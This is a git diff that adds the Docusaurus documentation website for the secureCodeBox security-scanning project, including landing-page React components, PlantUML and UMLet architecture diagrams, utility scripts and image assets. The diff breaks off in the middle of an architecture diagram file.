SPDX-License-Identifier: Apache-2.0 + +import {useColorMode} from '@docusaurus/theme-common'; + +import React from "react"; + +const Sections = ({ children }: { children: React.ReactNode }) => { + const { isDarkTheme } = useColorMode(), + bgColor = isDarkTheme ? "#5c5c5c" : "#E2E2E2"; + + return ( + <div> + {React.Children.map(children, (child, idx) => ( + <div + style={{ + display: "flex", + flexDirection: "column", + alignItems: "center", + backgroundColor: idx % 2 == 1 ? bgColor : "", + padding: "2rem 4rem", + }} + > + <div style={{ maxWidth: "1140px" }}>{child}</div> + </div> + ))} + </div> + ); +}; +export default Sections; diff --git a/documentation/src/pages/index.tsx b/documentation/src/pages/index.tsx new file mode 100644 index 0000000000..80798dd485 --- /dev/null +++ b/documentation/src/pages/index.tsx @@ -0,0 +1,218 @@ +// SPDX-FileCopyrightText: the secureCodeBox authors +// +// SPDX-License-Identifier: Apache-2.0 + +import Link from "@docusaurus/Link"; +import useBaseUrl from "@docusaurus/useBaseUrl"; +import useDocusaurusContext from "@docusaurus/useDocusaurusContext"; +import {useColorMode} from '@docusaurus/theme-common'; +import Layout from "@theme/Layout"; +import clsx from "clsx"; +import React from "react"; +import Accordion from "../components/Accoordion"; +import FlipCard from "../components/FlipCard"; +import Integration from "../components/Integration"; +import RoleCard from "../components/RoleCard"; +import Section from "../components/Section"; +import styles from "../css/styles.module.scss"; +import { Hooks, Scanners } from "../integrations"; +import content from "../landingpageContent.js"; +import Sections from "../layouts/Sections"; + +const ScannerIntegrations = () => { + return ( + <div className="container"> + <h3>Scanners</h3> + <section className={styles.integrations}> + {Scanners.map((props, idx) => ( + <Integration key={idx} {...props} /> + ))} + </section> + </div> + ); +}; + +const HookIntegrations = () => { + return ( + <div className="container"> + <h3>Hooks</h3> + <section className={styles.integrations}> + {Hooks.map((props, idx) => ( + <Integration key={idx} {...props} /> + ))} + </section> + </div> + ); +}; + +//* In order to use useColorMode() on the homepage, the main content is separated from the default export due to how "@docusaurus/theme-common" works +function HomePage() { + const { isDarkTheme } = useColorMode(); + + return ( + <> + <header className={clsx("hero", styles.heroBanner)}> + <div className="container"> + <h1>Automated Security Testing Tool</h1> + <p className={styles.description}> + <em>secureCodeBox</em> is an <a href="https://owasp.org/www-project-securecodebox/">OWASP project</a> providing an automated + and scalable open source solution that integrates multiple security scanners with a simple and lightweight interface – + for continuous and automated security testing. + </p> + + <div className="flex-container"> + <div className="flex-child"> + <Link + className={clsx("button button--outline button--secondary button--lg", styles.getStarted)} + to={useBaseUrl("docs/getting-started/installation")}> + Get Started + </Link> + </div> + + <div className="flex-child"> + <a href="https://owasp.org/" target="_blank"> + <img className="owasp-project-logo" src={useBaseUrl("/img/OWASP_Logo_White_with_name.png")} /> + </a> + </div> + </div> + </div> + </header> + + <main> + <Sections> + <Section + title="Identify Vulnerabilities in your Network and Applications" + subtitle="Use the power of leading open source security testing tools with the first of its kind open source multi-scanner platform to run routine scans continuously and automatically on your network infrastructure or applications." + alignment="center" + > + <div className="row margin-bottom--lg"> + {content.automatedTesting.cards.map((card, idx) => ( + <div + className={clsx("col", styles.defaultMarginBottom)} + key={`flipcard no${idx}`} + > + <FlipCard {...card} /> + </div> + ))} + </div> + </Section> + + <Section + title={content.useCases.title} + subtitle={content.useCases.description} + > + <Accordion items={content.useCases.items} /> + </Section> + + <Section + title={content.goToSolution.title} + subtitle={content.goToSolution.description} + > + <div className="row"> + <div className="col padding-left--xl padding-right--xl margin-bottom--lg"> + <img src={content.goToSolution.image} /> + </div> + <div className={clsx("col", styles.goToSolutionBulletList)}> + <ul> + {content.goToSolution.list.map((item, i) => ( + <li key={`bullet nr${i}`}> + <label>{item.label}</label> + <div>{item.content}</div> + </li> + ))} + </ul> + </div> + </div> + </Section> + + <Section + title={content.multiScanner.title} + subtitle={content.multiScanner.description} + alignment="center" + > + <ScannerIntegrations /> + <HookIntegrations /> + </Section> + + <Section + title={content.about.title} + subtitle={ + <div> + <p> + {content.about.description}{" "} + <a href="https://www.iteratec.com/">iteratec</a>. + </p> + <p> + <a href="https://owasp.org/">OWASP</a> is an open community dedicated to enabling organizations to conceive, + develop, acquire, operate, and maintain applications that can be trusted. + All of the OWASP tools, documents, forums, and chapters are free and open + to anyone interested in improving application security. + </p> + </div> + } + > + <div className="row"> + <div className="col col--4"> + <p>{content.about.question}</p> + <div> + <strong>{content.about.buttonHeader}</strong> + </div> + <a + className="button button--outline button--primary button--md margin-top--lg margin-bottom--xl" + href={`mailto:${ + content.about.mail.recipient + }?subject=${encodeURI( + content.about.mail.subject + )}&body=${encodeURI(content.about.mail.message)}`} + > + {content.about.button} + </a> + </div> + {content.about.roles.map((role, i) => ( + <div + className={clsx("col", styles.defaultMarginBottom)} + key={`role nr${i}`} + > + <RoleCard {...role} /> + </div> + ))} + </div> + </Section> + + <Section title={content.sponsors.title} alignment="center"> + <div className="row margin-bottom--lg"> + {content.sponsors.logos.map((item, i) => ( + <div + className={clsx( + "col", + styles.sponsor, + styles.defaultMarginBottom + )} + key={`sponsor nr${i}`} + > + <a href={item.link} target="_blank"> + <img src={isDarkTheme ? item.srcDark : item.srcLight} /> + </a> + </div> + ))} + </div> + </Section> + </Sections> + </main> + </> + ); +} + +export default function Main() { + const { siteConfig } = useDocusaurusContext(); + + return ( + <Layout + title="Automated Security Testing Tool" + description={siteConfig.tagline} + keywords={siteConfig.customFields.keywords} + > + <HomePage /> + </Layout> + ); +} diff --git a/documentation/src/puml/_copyright.ipuml b/documentation/src/puml/_copyright.ipuml new file mode 100644 index 0000000000..fdf89456b9 --- /dev/null +++ b/documentation/src/puml/_copyright.ipuml @@ -0,0 +1,5 @@ +' SPDX-FileCopyrightText: the secureCodeBox authors +' +' SPDX-License-Identifier: Apache-2.0 + +right footer **©** the secureCodeBox authors diff --git a/documentation/src/puml/_theme.ipuml b/documentation/src/puml/_theme.ipuml new file mode 100644 index 0000000000..4affc03b04 --- /dev/null +++ b/documentation/src/puml/_theme.ipuml @@ -0,0 +1,94 @@ +' SPDX-FileCopyrightText: the secureCodeBox authors +' +' SPDX-License-Identifier: Apache-2.0 + +' http://plantuml.com/skinparam +' https://plantuml-documentation.readthedocs.io/en/latest/formatting/all-skin-params.html + +' Some base color definitions: +!define hellblau #cde6f5 +!define mittelblau #91c3e6 +!define tuerkisblau #008cd2 +!define kobaltblau #001eff +!define lavendel #e6bedc +!define dunkelpurpur #731964 +!define gelbbraun #ebd7be +!define sand #e1c39b + +' Colors with special meaning: +' Used to highlight focused components of a diagram. Usually our own components of secureCodeBox. +!define focusBorder #6c8ebf +!define focusFill #dae8fc + +skinparam default { + ArrowColor black + BackgroundColor white + FontColor black + FontName SansSerif + FontSize 10 + Shadowing false + ComponentStyle uml2 +} + +skinparam activity { + BorderColor dunkelpurpur + StartColor kobaltblau + EndColor focusBorder + BarColor lavendel +} + +skinparam usecase { + ActorBackgroundColor lavendel + ActorBorderColor focusBorder + BorderColor dunkelpurpur +} + +skinparam class { + BackgroundColor focusFill + BorderColor focusBorder +} + +skinparam package { + BackgroundColor white + BorderColor dunkelpurpur +} + +skinparam stereotype { + CBackgroundColor mittelblau + ABackgroundColor lavendel + IBackgroundColor gelbbraun + EBackgroundColor lightgray +} + +skinparam component { + BackgroundColor focusFill + BorderColor focusBorder + InterfaceBackgroundColor focusFill + InterfaceBorderColor focusBorder + Style uml2 +} + +skinparam note { + BackgroundColor gelbbraun + BorderColor sand +} + +skinparam state { + BackgroundColor focusFill + BorderColor dunkelpurpur + StartColor kobaltblau + EndColor focusBorder +} + +skinparam sequence { + ActorBackgroundColor focusFill + ActorBorderColor focusBorder + GroupBackgroundColor hellblau + LifeLineBackgroundColor focusFill + LifeLineBorderColor focusBorder + ParticipantBackgroundColor focusFill + ParticipantBorderColor focusBorder +} + +skinparam CollectionsBackgroundColor focusFill +skinparam CollectionsBorderColor focusBorder diff --git a/documentation/src/puml/sequence_overview.puml b/documentation/src/puml/sequence_overview.puml new file mode 100644 index 0000000000..b1e26a73e6 --- /dev/null +++ b/documentation/src/puml/sequence_overview.puml @@ -0,0 +1,68 @@ +' SPDX-FileCopyrightText: the secureCodeBox authors +' +' SPDX-License-Identifier: Apache-2.0 + +@startuml sequence_overview +!include _iteratecTheme.ipuml +!include _copyright.ipuml + +skinparam shadowing false +skinparam componentStyle uml2 + +actor kubectl + +box "secureCodeBox" + participant Operator <<Controller>> + participant Scanner <<Container>> + participant Lurker <<Sidecar>> + participant Minio <<Deployment>> + participant Parser <<Job>> + collections ReadOnlyHooks <<Job>> + collections ReadAndWriteHooks <<Job>> +end box + +participant Target + +activate Target +activate Minio + +kubectl -\ Operator : start scan +activate Operator +Operator -> Scanner : run job +activate Scanner +activate Lurker +Scanner -> Target : scan +Lurker -\ Scanner : read data +Lurker -\ Minio : store raw results +Scanner <-- Target +Operator <-- Scanner +deactivate Scanner +deactivate Lurker + +Operator -> Parser : run job +activate Parser +Parser -> Minio : read raw results +Parser <-- Minio +Parser -> Minio : store JSON findings +Parser <-- Minio +Operator <-- Parser +deactivate Parser + +Operator -> ReadAndWriteHooks +activate ReadAndWriteHooks +ReadAndWriteHooks -> Minio : read findings/raw results +ReadAndWriteHooks <-- Minio +Operator <-- ReadAndWriteHooks +deactivate ReadAndWriteHooks + +Operator -> ReadOnlyHooks +activate ReadOnlyHooks +ReadOnlyHooks -> Minio : read findings/raw results +ReadOnlyHooks <-- Minio +ReadOnlyHooks -> Minio : write findings/raw results +ReadOnlyHooks <-- Minio +Operator <-- ReadOnlyHooks +deactivate ReadOnlyHooks + +deactivate Operator +@enduml diff --git a/documentation/src/types/scss.d.ts b/documentation/src/types/scss.d.ts new file mode 100644 index 0000000000..9aa2b3ebac --- /dev/null +++ b/documentation/src/types/scss.d.ts @@ -0,0 +1,7 @@ +declare module '*.scss' { + interface IClassNames { + [className: string]: string + } + const classNames: IClassNames + export = classNames; +} \ No newline at end of file diff --git a/documentation/src/utils/capitalizer.js b/documentation/src/utils/capitalizer.js new file mode 100644 index 0000000000..810e933dcf --- /dev/null +++ b/documentation/src/utils/capitalizer.js @@ -0,0 +1,29 @@ +// SPDX-FileCopyrightText: the secureCodeBox authors +// +// SPDX-License-Identifier: Apache-2.0 + +function capitalizeFirst(string) { + return string.charAt(0).toUpperCase() + string.slice(1); +} + +function capitalizeEach(string) { + let splitStr = string.toLowerCase().split(' '); + for (var i = 0; i < splitStr.length; i++) { + // You do not need to check if i is larger than splitStr length, as your for does that for you + // Assign it back to the array + splitStr[i] = + splitStr[i].charAt(0).toUpperCase() + splitStr[i].substring(1); + } + // Directly return the joined string + return splitStr.join(' '); +} + +function removeWhitespaces(string) { + return string.replace(/\\s+/g, ''); +} + +module.exports = { + capitalizeFirst, + capitalizeEach, + removeWhitespaces, +}; diff --git a/documentation/src/utils/config.js b/documentation/src/utils/config.js new file mode 100644 index 0000000000..d63f42f90e --- /dev/null +++ b/documentation/src/utils/config.js @@ -0,0 +1,49 @@ +// SPDX-FileCopyrightText: the secureCodeBox authors +// +// SPDX-License-Identifier: Apache-2.0 + +const docsConfig = { + repository: "secureCodeBox/secureCodeBox", // The repository url without the github part of the link + targetPath: "docs", // This needs to be 'docs' for the docusaurus build, but you may specify a 'docs/<subdirectory>' + sizeLimit: 500000, // Limit of file size, most importantly used for large findings. + findingsDir: "findings", // Directory for large findings which exceeded sizeLimit + + // Configures files which will be copied or generated from docsConfig.repository. + // This is an array of maps. + // + // The map has the properties: + // + // src: required source directory in main repository (docsConfig.repository). + // dst: required target directory in this repository relative to config.targetPath. + // exclude: (optional) array of files to exclude from src, default is exclude nothing. + // keep: (optional) array of files to keep in dst, default is keep nothing (all files ending with .md will + // be wiped from dst. + // + // Example: + // filesFromRepository: [ + // {src: "foo", dst: "some/foo", exclude: ["snafu.md", "susfu.md"]}, + // {src: "bar", dst: "some/bar"}, + // {src: "bar", dst: "some/bar", keep: ["index.md"]}, + // ] + filesFromRepository: [ + { + src: "scanners", + dst: "scanners", + }, + { + src: "hooks", + dst: "hooks", + }, + ], + }, + // This is to configure what to show at the homepage tile-view. + integrationsConfig = { + targetFile: "src/integrations.js", // Name of the target file to (over-)write + integrationDirs: ["hooks", "scanners"], // Names of the directories relative to the root level of the `/docs` folder + defaultIcon: "img/integrationIcons/Default.svg", // Default Icon when no imageUrl provided or could not resolve imageUrl + }; + +module.exports = { + docsConfig, + integrationsConfig, +}; diff --git a/documentation/src/utils/scannerReadme.mustache b/documentation/src/utils/scannerReadme.mustache new file mode 100644 index 0000000000..094e3c77d1 --- /dev/null +++ b/documentation/src/utils/scannerReadme.mustache @@ -0,0 +1,66 @@ +{{! + SPDX-FileCopyrightText: the secureCodeBox authors + + SPDX-License-Identifier: Apache-2.0 +}} +{{{ readme }}} + +{{#hasImageTypes}} + +## CPU architectures + +The scanner is currently supported for these CPU architectures: + +{{#imageTypes}} +- {{.}} +{{/imageTypes}} + +{{/hasImageTypes}} + +{{#hasExamples}} +## Examples + +import Tabs from '@theme/Tabs'; +import TabItem from '@theme/TabItem'; + +{{#examples}} +### {{name}} + +{{{exampleReadme}}} + +<Tabs +defaultValue="scan" +values={[ + {{#scan}}{ label: "Scan", value: "scan" },{{/scan}} + {{#findings}}{ label: "Findings", value: "findings" },{{/findings}} +]}> + +{{#scan}} +<TabItem value="scan"> + +```yaml +{{{scan}}} +``` + +</TabItem> +{{/scan}} + +{{#findings}} +<TabItem value="findings"> + +{{#limitReached}} +The findings are too large to display, you may download [the file]({{{value}}}). +{{/limitReached}} +{{^limitReached}} +```yaml +{{{value}}} +``` +{{/limitReached}} + +</TabItem> +{{/findings}} + +</Tabs> + +{{/examples}} +{{/hasExamples}} diff --git a/documentation/src/uxf/compononents_overview.png b/documentation/src/uxf/compononents_overview.png new file mode 100644 index 0000000000..de49d7405c Binary files /dev/null and b/documentation/src/uxf/compononents_overview.png differ diff --git a/documentation/src/uxf/compononents_overview.png.license b/documentation/src/uxf/compononents_overview.png.license new file mode 100644 index 0000000000..c95bc37185 --- /dev/null +++ b/documentation/src/uxf/compononents_overview.png.license @@ -0,0 +1,3 @@ +SPDX-FileCopyrightText: the secureCodeBox authors + +SPDX-License-Identifier: Apache-2.0 diff --git a/documentation/src/uxf/compononents_overview.uxf b/documentation/src/uxf/compononents_overview.uxf new file mode 100644 index 0000000000..7f7f0e0748 --- /dev/null +++ b/documentation/src/uxf/compononents_overview.uxf @@ -0,0 +1,298 @@ +<?xml version="1.0" encoding="UTF-8" standalone="no"?> +<diagram program="umlet" version="14.3.0"> + <zoom_level>10</zoom_level> + <element> + <id>UMLClass</id> + <coordinates> + <x>260</x> + <y>340</y> + <w>160</w> + <h>60</h> + </coordinates> + <panel_attributes><<Controller>> +Operator</panel_attributes> + <additional_attributes/> + </element> + <element> + <id>UMLClass</id> + <coordinates> + <x>260</x> + <y>200</y> + <w>160</w> + <h>60</h> + </coordinates> + <panel_attributes><<Sidecar>> +Lurker</panel_attributes> + <additional_attributes/> + </element> + <element> + <id>UMLClass</id> + <coordinates> + <x>260</x> + <y>80</y> + <w>160</w> + <h>60</h> + </coordinates> + <panel_attributes><<Container>> +Scanner</panel_attributes> + <additional_attributes/> + </element> + <element> + <id>UMLClass</id> + <coordinates> + <x>10</x> + <y>80</y> + <w>160</w> + <h>60</h> + </coordinates> + <panel_attributes><<Target>> +www.foobar.com +bg=gray</panel_attributes> + <additional_attributes/> + </element> + <element> + <id>UMLClass</id> + <coordinates> + <x>590</x> + <y>90</y> + <w>160</w> + <h>60</h> + </coordinates> + <panel_attributes><<Job>> +Parser</panel_attributes> + <additional_attributes/> + </element> + <element> + <id>UMLClass</id> + <coordinates> + <x>590</x> + <y>200</y> + <w>160</w> + <h>60</h> + </coordinates> + <panel_attributes><<Deployment>> +Minio</panel_attributes> + <additional_attributes/> + </element> + <element> + <id>Relation</id> + <coordinates> + <x>160</x> + <y>90</y> + <w>120</w> + <h>40</h> + </coordinates> + <panel_attributes>lt=- +< scan</panel_attributes> + <additional_attributes>100.0;20.0;10.0;20.0</additional_attributes> + </element> + <element> + <id>Relation</id> + <coordinates> + <x>410</x> + <y>220</y> + <w>200</w> + <h>40</h> + </coordinates> + <panel_attributes>lt=- +store raw result ></panel_attributes> + <additional_attributes>10.0;20.0;180.0;20.0</additional_attributes> + </element> + <element> + <id>Relation</id> + <coordinates> + <x>330</x> + <y>130</y> + <w>80</w> + <h>90</h> + </coordinates> + <panel_attributes>lt=- +listen v</panel_attributes> + <additional_attributes>10.0;10.0;10.0;70.0</additional_attributes> + </element> + <element> + <id>Relation</id> + <coordinates> + <x>530</x> + <y>110</y> + <w>150</w> + <h>130</h> + </coordinates> + <panel_attributes>lt=- +read raw result ^</panel_attributes> + <additional_attributes>60.0;110.0;10.0;110.0;10.0;10.0;60.0;10.0</additional_attributes> + </element> + <element> + <id>Relation</id> + <coordinates> + <x>740</x> + <y>110</y> + <w>230</w> + <h>130</h> + </coordinates> + <panel_attributes>lt=- +store JSON finding v</panel_attributes> + <additional_attributes>10.0;110.0;70.0;110.0;70.0;10.0;10.0;10.0</additional_attributes> + </element> + <element> + <id>UMLClass</id> + <coordinates> + <x>810</x> + <y>440</y> + <w>160</w> + <h>60</h> + </coordinates> + <panel_attributes><<Job>> +ReadAndWriteHook</panel_attributes> + <additional_attributes/> + </element> + <element> + <id>UMLClass</id> + <coordinates> + <x>480</x> + <y>440</y> + <w>160</w> + <h>60</h> + </coordinates> + <panel_attributes><<Job>> +ReadOnlyHook</panel_attributes> + <additional_attributes/> + </element> + <element> + <id>Relation</id> + <coordinates> + <x>490</x> + <y>250</y> + <w>200</w> + <h>210</h> + </coordinates> + <panel_attributes>lt=- +read finding/raw result v</panel_attributes> + <additional_attributes>120.0;10.0;120.0;140.0;70.0;140.0;70.0;190.0</additional_attributes> + </element> + <element> + <id>Relation</id> + <coordinates> + <x>680</x> + <y>250</y> + <w>210</w> + <h>210</h> + </coordinates> + <panel_attributes>lt=- +read finding/raw result v</panel_attributes> + <additional_attributes>10.0;10.0;10.0;140.0;190.0;140.0;190.0;190.0</additional_attributes> + </element> + <element> + <id>Relation</id> + <coordinates> + <x>720</x> + <y>250</y> + <w>220</w> + <h>210</h> + </coordinates> + <panel_attributes>lt=- +store finding/raw result ^</panel_attributes> + <additional_attributes>10.0;10.0;10.0;110.0;200.0;110.0;200.0;190.0</additional_attributes> + </element> + <element> + <id>UMLClass</id> + <coordinates> + <x>370</x> + <y>580</y> + <w>160</w> + <h>50</h> + </coordinates> + <panel_attributes>Elastic +bg=gray</panel_attributes> + <additional_attributes/> + </element> + <element> + <id>UMLClass</id> + <coordinates> + <x>590</x> + <y>580</y> + <w>160</w> + <h>50</h> + </coordinates> + <panel_attributes>DefectDojo +bg=gray</panel_attributes> + <additional_attributes/> + </element> + <element> + <id>Relation</id> + <coordinates> + <x>440</x> + <y>490</y> + <w>120</w> + <h>110</h> + </coordinates> + <panel_attributes>lt=- +persist v</panel_attributes> + <additional_attributes>100.0;10.0;100.0;60.0;10.0;60.0;10.0;90.0</additional_attributes> + </element> + <element> + <id>Relation</id> + <coordinates> + <x>580</x> + <y>490</y> + <w>110</w> + <h>110</h> + </coordinates> + <panel_attributes>lt=- +persist v</panel_attributes> + <additional_attributes>10.0;10.0;10.0;60.0;90.0;60.0;90.0;90.0</additional_attributes> + </element> + <element> + <id>UMLNote</id> + <coordinates> + <x>260</x> + <y>430</y> + <w>200</w> + <h>70</h> + </coordinates> + <panel_attributes>The operator orchestrates +ans manages all other +components. +bg=blue</panel_attributes> + <additional_attributes/> + </element> + <element> + <id>Relation</id> + <coordinates> + <x>330</x> + <y>390</y> + <w>30</w> + <h>60</h> + </coordinates> + <panel_attributes>lt=.. +</panel_attributes> + <additional_attributes>10.0;10.0;10.0;40.0</additional_attributes> + </element> + <element> + <id>UMLPackage</id> + <coordinates> + <x>240</x> + <y>10</y> + <w>740</w> + <h>510</h> + </coordinates> + <panel_attributes>Kubernetes/secureCodeBox +-- +bg=#3296DC</panel_attributes> + <additional_attributes/> + </element> + <element> + <id>UMLClass</id> + <coordinates> + <x>250</x> + <y>50</y> + <w>180</w> + <h>220</h> + </coordinates> + <panel_attributes>lt=.. +<<Job>> + +layer=1</panel_attributes> + <additional_attributes/> + </element> +</diagram> diff --git a/documentation/src/uxf/compononents_overview.uxf.license b/documentation/src/uxf/compononents_overview.uxf.license new file mode 100644 index 0000000000..c95bc37185 --- /dev/null +++ b/documentation/src/uxf/compononents_overview.uxf.license @@ -0,0 +1,3 @@ +SPDX-FileCopyrightText: the secureCodeBox authors + +SPDX-License-Identifier: Apache-2.0 diff --git a/documentation/static/_redirects b/documentation/static/_redirects new file mode 100644 index 0000000000..193f829256 --- /dev/null +++ b/documentation/static/_redirects @@ -0,0 +1,4 @@ +# Redirecting both http and https versions of subdomain "docs" to main domain +# See Issue https://github.com/secureCodeBox/documentation/issues/212 +http://docs.securecodebox.io/* https://www.securecodebox.io/:splat 301! +https://docs.securecodebox.io/* https://www.securecodebox.io/:splat 301! \ No newline at end of file diff --git a/documentation/static/img/Desktop_Screenshots.png b/documentation/static/img/Desktop_Screenshots.png new file mode 100644 index 0000000000..a64ac17517 Binary files /dev/null and b/documentation/static/img/Desktop_Screenshots.png differ diff --git a/documentation/static/img/Favicon.svg b/documentation/static/img/Favicon.svg new file mode 100644 index 0000000000..a1971b073c --- /dev/null +++ b/documentation/static/img/Favicon.svg @@ -0,0 +1,10 @@ +<?xml version="1.0" encoding="UTF-8"?> +<svg width="256px" height="256px" viewBox="0 0 256 256" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> + <!-- Generator: Sketch 56.3 (81716) - https://sketch.com --> + <title>Favicon@1x + Created with Sketch. + + + + + \ No newline at end of file diff --git a/documentation/static/img/Icon_Blue.png b/documentation/static/img/Icon_Blue.png new file mode 100755 index 0000000000..40238e3ad2 Binary files /dev/null and b/documentation/static/img/Icon_Blue.png differ diff --git a/documentation/static/img/Icon_Blue.svg b/documentation/static/img/Icon_Blue.svg new file mode 100755 index 0000000000..a1971b073c --- /dev/null +++ b/documentation/static/img/Icon_Blue.svg @@ -0,0 +1,10 @@ + + + + Favicon@1x + Created with Sketch. + + + + + \ No newline at end of file diff --git a/documentation/static/img/Icon_Color.png b/documentation/static/img/Icon_Color.png new file mode 100755 index 0000000000..c129623031 Binary files /dev/null and b/documentation/static/img/Icon_Color.png differ diff --git a/documentation/static/img/Icon_Color.svg b/documentation/static/img/Icon_Color.svg new file mode 100644 index 0000000000..bb22b869a1 --- /dev/null +++ b/documentation/static/img/Icon_Color.svg @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + diff --git a/documentation/static/img/Icon_Color2.png b/documentation/static/img/Icon_Color2.png new file mode 100644 index 0000000000..068197e354 Binary files /dev/null and b/documentation/static/img/Icon_Color2.png differ diff --git a/documentation/static/img/Logo_Black.svg b/documentation/static/img/Logo_Black.svg new file mode 100644 index 0000000000..e5f6ca55ff --- /dev/null +++ b/documentation/static/img/Logo_Black.svg @@ -0,0 +1,25 @@ + + + + Logo Black + Created with Sketch. + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/documentation/static/img/Logo_Color.svg b/documentation/static/img/Logo_Color.svg new file mode 100644 index 0000000000..fadeb79f7b --- /dev/null +++ b/documentation/static/img/Logo_Color.svg @@ -0,0 +1,25 @@ + + + + Logo Color + Created with Sketch. + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/documentation/static/img/Logo_White.svg b/documentation/static/img/Logo_White.svg new file mode 100644 index 0000000000..ef2d2deab1 --- /dev/null +++ b/documentation/static/img/Logo_White.svg @@ -0,0 +1,25 @@ + + + + Logo White + Created with Sketch. + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/documentation/static/img/Logo_iteratec_rgb_black_SZ_rz.svg b/documentation/static/img/Logo_iteratec_rgb_black_SZ_rz.svg new file mode 100644 index 0000000000..9a13ea641a --- /dev/null +++ b/documentation/static/img/Logo_iteratec_rgb_black_SZ_rz.svg @@ -0,0 +1,45 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/documentation/static/img/Logo_iteratec_rgb_white_SZ_rz.svg b/documentation/static/img/Logo_iteratec_rgb_white_SZ_rz.svg new file mode 100644 index 0000000000..adac8b5181 --- /dev/null +++ b/documentation/static/img/Logo_iteratec_rgb_white_SZ_rz.svg @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/documentation/static/img/OWASP_Logo_Black.svg b/documentation/static/img/OWASP_Logo_Black.svg new file mode 100644 index 0000000000..7b3b646795 --- /dev/null +++ b/documentation/static/img/OWASP_Logo_Black.svg @@ -0,0 +1,51 @@ + +image/svg+xml + \ No newline at end of file diff --git a/documentation/static/img/OWASP_Logo_White.svg b/documentation/static/img/OWASP_Logo_White.svg new file mode 100644 index 0000000000..3546db1532 --- /dev/null +++ b/documentation/static/img/OWASP_Logo_White.svg @@ -0,0 +1,51 @@ + +image/svg+xml + \ No newline at end of file diff --git a/documentation/static/img/OWASP_Logo_White_with_name.png b/documentation/static/img/OWASP_Logo_White_with_name.png new file mode 100644 index 0000000000..48cf1dcd03 Binary files /dev/null and b/documentation/static/img/OWASP_Logo_White_with_name.png differ diff --git a/documentation/static/img/blog/2020-09-08-blini.jpg b/documentation/static/img/blog/2020-09-08-blini.jpg new file mode 100644 index 0000000000..7cae5cc1df Binary files /dev/null and b/documentation/static/img/blog/2020-09-08-blini.jpg differ diff --git a/documentation/static/img/blog/2020-10-12-commits.png b/documentation/static/img/blog/2020-10-12-commits.png new file mode 100644 index 0000000000..300cf2bac2 Binary files /dev/null and b/documentation/static/img/blog/2020-10-12-commits.png differ diff --git a/documentation/static/img/blog/2020-10-12-fingerpost.jpg b/documentation/static/img/blog/2020-10-12-fingerpost.jpg new file mode 100644 index 0000000000..122cfe14ad Binary files /dev/null and b/documentation/static/img/blog/2020-10-12-fingerpost.jpg differ diff --git a/documentation/static/img/blog/2020-10-15-cute-kitten.jpg b/documentation/static/img/blog/2020-10-15-cute-kitten.jpg new file mode 100644 index 0000000000..fb3e27e224 Binary files /dev/null and b/documentation/static/img/blog/2020-10-15-cute-kitten.jpg differ diff --git a/documentation/static/img/blog/2020-10-15-sundown.jpg b/documentation/static/img/blog/2020-10-15-sundown.jpg new file mode 100644 index 0000000000..b9aa439927 Binary files /dev/null and b/documentation/static/img/blog/2020-10-15-sundown.jpg differ diff --git a/documentation/static/img/blog/2020-10-16-firework.jpg b/documentation/static/img/blog/2020-10-16-firework.jpg new file mode 100644 index 0000000000..94506ad343 Binary files /dev/null and b/documentation/static/img/blog/2020-10-16-firework.jpg differ diff --git a/documentation/static/img/blog/2021-01-27-drop.jpg b/documentation/static/img/blog/2021-01-27-drop.jpg new file mode 100644 index 0000000000..d6f64e28f8 Binary files /dev/null and b/documentation/static/img/blog/2021-01-27-drop.jpg differ diff --git a/documentation/static/img/blog/2021-06-07-architecture-v1.png b/documentation/static/img/blog/2021-06-07-architecture-v1.png new file mode 100644 index 0000000000..57f977baa7 Binary files /dev/null and b/documentation/static/img/blog/2021-06-07-architecture-v1.png differ diff --git a/documentation/static/img/blog/2021-06-07-architecture-v1.puml b/documentation/static/img/blog/2021-06-07-architecture-v1.puml new file mode 100644 index 0000000000..609e360acc --- /dev/null +++ b/documentation/static/img/blog/2021-06-07-architecture-v1.puml @@ -0,0 +1,49 @@ +' SPDX-FileCopyrightText: the secureCodeBox authors +' +' SPDX-License-Identifier: Apache-2.0 +@startuml 2021-06-07-architecture-v1 +!include ../../../src/puml/_theme.ipuml +!include ../../../src/puml/_copyright.ipuml + +node "Docker" { + [secureCodeBox Engine] as engine <> + () REST -- [engine] + + [Elastic] as elastic <> + engine <.right.> elastic : read/write + + [Kibana] as kibana <> + kibana .left.> elastic : read + + package "Scanners" { + [ZAP] as zap <> + zap ..> REST : poll + + [Nmap] as nmap <> + nmap ..> REST : poll + + [SSLyze] as sslyze <> + sslyze ..> REST : poll + + [Nikto] as nikto <> + nikto ..> REST : poll + + [AMASS] as amass <> + amass ..> REST : poll + } +} + +[Subject Under Test] as sut #White +zap .up.> sut : scan +nmap .up.> sut : scan +sslyze .up.> sut : scan +nikto .up.> sut : scan +amass .up.> sut : scan + +[CI/CD] as ci #White +ci .> REST : trigger + +actor User as user #White +user .up.> engine : Web UI + +@enduml diff --git a/documentation/static/img/blog/2021-06-07-why.jpg b/documentation/static/img/blog/2021-06-07-why.jpg new file mode 100644 index 0000000000..efe482cf04 Binary files /dev/null and b/documentation/static/img/blog/2021-06-07-why.jpg differ diff --git a/documentation/static/img/blog/2021-07-20-architecture-v2.png b/documentation/static/img/blog/2021-07-20-architecture-v2.png new file mode 100644 index 0000000000..7e8df106e4 Binary files /dev/null and b/documentation/static/img/blog/2021-07-20-architecture-v2.png differ diff --git a/documentation/static/img/blog/2021-07-20-architecture-v2.puml b/documentation/static/img/blog/2021-07-20-architecture-v2.puml new file mode 100644 index 0000000000..69550cf3a6 --- /dev/null +++ b/documentation/static/img/blog/2021-07-20-architecture-v2.puml @@ -0,0 +1,48 @@ +' SPDX-FileCopyrightText: the secureCodeBox authors +' +' SPDX-License-Identifier: Apache-2.0 + +@startuml 2021-07-20-architecture-v2 +!include ../../../src/puml/_theme.ipuml +!include ../../../src/puml/_copyright.ipuml + +[Subject Under Test] as sut #White +actor User as user #White +[Elastic] as elastic #white +[DefectDojo] as dojo #white + +node "Kubernetes" { + [Engine] as engine <> + user .right.> engine : kubectl/k8s API + [S3] <> + + package "Job" as zap_scan { + [ZAP] as zap <> + [Lurker] as zap_lurker <> + zap -left-> zap_lurker : output + zap_lurker -down-> S3 : store raw + } + + zap .up.> sut : scan + + engine .up.> zap : 1. scan + + [Parser] as 